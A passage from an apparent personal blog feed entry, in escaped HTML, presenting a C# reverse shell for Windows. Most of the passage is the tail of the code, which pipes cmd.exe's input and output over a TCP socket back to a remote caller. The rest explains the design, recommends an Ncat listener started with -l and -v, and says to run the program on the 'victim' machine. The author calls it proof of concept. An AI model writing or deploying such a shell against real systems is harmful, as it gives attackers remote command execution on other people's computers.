&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;if (!string.IsNullOrEmpty(line))&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;p.StandardInput.WriteLine(line);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;catch(Exception ex)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;Console.WriteLine(&quot;Exception: &quot; + ex.Message);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;break;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;private static void
CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;StringBuilder strOutput = new
StringBuilder();&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;if
(!String.IsNullOrEmpty(outLine.Data))&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;try&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;string line = outLine.Data;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;if(!string.IsNullOrEmpty(line))&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;streamWriter.WriteLine(line);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;streamWriter.Flush();&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;catch (Exception ex)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;Console.WriteLine(&quot;Exception:
&quot; + ex.Message);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;As this is a
purely proof-of-concept code, it does not have any persistence or stealthy
features.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;The reverse
shell contains two parts. First part is the shell itself which in the code
above is cmd.exe. The second part is the communication from the
&quot;victim&quot; machine back to caller&#39;s &quot;server&quot; which is done
with the TCP Socket. Command shell is started as a new process and the process&#39;
standard input, output and error streams are redirected to the TCP Socket which
in turn sends them to the caller.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;The next
problem was the &quot;server&quot; or caller side. There had to be some way to connect
to the same TCP Socket. Every example I found used Linux&#39;s netcat command for
this. With some more googling I found out that NMAP contains a Windows implementation
of the netcat. So I downloaded Ncat utility: &lt;a href=&quot;https://nmap.org/ncat/&quot;&gt;https://nmap.org/ncat/&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;Finally I had every piece I needed and the reverse
shell worked like a charm &lt;/span&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: Wingdings; font-size: 11.0pt; mso-ansi-language: EN-US; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-char-type: symbol; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;&quot;&gt;&lt;span style=&quot;mso-char-type: symbol; mso-symbol-font-family: Wingdings;&quot;&gt;:)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKOl3vOkflP9Nwda-Rbk0Av8u09Z63BA7GEq4wRpmBFm7wIxN510afi2UcyzSoSkr1VBqUIkNmD-JalipxU1YFdFMCvLAleMfrF39ImoQ7e1I4hYRdoKERHaQ7NyX2lUMsMyOrvnJPl94/s1600/revshell-host.gif&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;491&quot; data-original-width=&quot;658&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKOl3vOkflP9Nwda-Rbk0Av8u09Z63BA7GEq4wRpmBFm7wIxN510afi2UcyzSoSkr1VBqUIkNmD-JalipxU1YFdFMCvLAleMfrF39ImoQ7e1I4hYRdoKERHaQ7NyX2lUMsMyOrvnJPl94/s1600/revshell-host.gif&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Start Ncat with -l and -v options to get it to listen mode and verbose mode.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIp2quElQi1SRd_gcTojv8pvcRkXatCyWJEIhyivKefTm7_JYgj-P8HkNOqCAvNrgxp_G9Jp6PY3EoOM5KVP7HEQrQGV0ph1y_HY4E09a3L761dx7bgzG8nQNE8vwdc70Xg69hTkn8Iyk/s1600/revshell-client.gif&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;154&quot; data-original-width=&quot;663&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIp2quElQi1SRd_gcTojv8pvcRkXatCyWJEIhyivKefTm7_JYgj-P8HkNOqCAvNrgxp_G9Jp6PY3EoOM5KVP7HEQrQGV0ph1y_HY4E09a3L761dx7bgzG8nQNE8vwdc70Xg69hTkn8Iyk/s1600/revshell-client.gif&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Start reverse shell in the &quot;victim&quot; machine.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
</content><link rel='replies' type='application/atom+xml' href='http://windevblog.blogspot.com/feeds/591571604845290160/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/6554224646455070835/591571604845290160' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/591571604845290160'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/591571604845290160'/><link rel='alternate' type='text/html' href='http://windevblog.blogspot.com/2018/12/windows-reverse-shell-with-csharp.html' title='Windows Reverse Shell With CSharp'/><author><name>Teme64</name><uri>http://www.blogger.com/profile/16431881374154567974</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail 